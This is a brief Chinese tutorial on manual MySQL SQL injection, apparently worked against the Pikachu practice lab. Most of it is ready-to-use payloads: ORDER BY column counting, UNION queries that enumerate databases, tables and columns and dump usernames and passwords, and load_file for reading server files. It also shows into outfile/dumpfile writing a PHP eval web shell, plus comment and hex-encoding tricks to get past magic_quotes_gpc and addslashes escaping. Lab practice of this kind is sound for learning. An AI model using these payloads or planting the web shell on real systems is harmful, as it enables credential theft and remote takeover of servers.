手工mysql注入
在mysql5.0以上版本中,存在一个数据库information_schema,记录了所有的数据库名,表名,列名
数据库中符号‘.’代表下一级,如information_schema.tables,information_schema.columns
数据库可获取的信息
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
获取基本信息后开始手工注入
先用order by获取列数
id=1 order by 3
查询数据库名
id=id=1 union select 1,schema_name from information_schema.schemata
查询指定数据库下的表名
id=1 union select table_name,2 from information_schema.tables where table_schema='pikachu'
查询指定表下的列名(and是用来防止高权限跨库查询时有同名table导致查出信息不准确)
id=1 union select column_name,2 from information_schema.columns where table_name='member' and table_schema='pikachu'
查询指定数据(pikachu.member原因同上,也可用and)
id=1 union select username,pw from pikachu.member
文件读写操作:
load_file():读取文件函数
select load_file('C:/install.ini');
into outfile或into dumpfile:写入文件函数
select '<?php @eval($_POST[cmd])?>' into outfile 'C:/cmd.php';
select '<?php @eval($_POST[cmd])?>' into dumpfile 'C:/cmd.php';
若需要注释后面的语句,--+或者#
有个选项magic_quotes_gpc(魔术引号)和一个函数addslashes()会将单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符加上反斜线,可将payload转换为16进制来绕过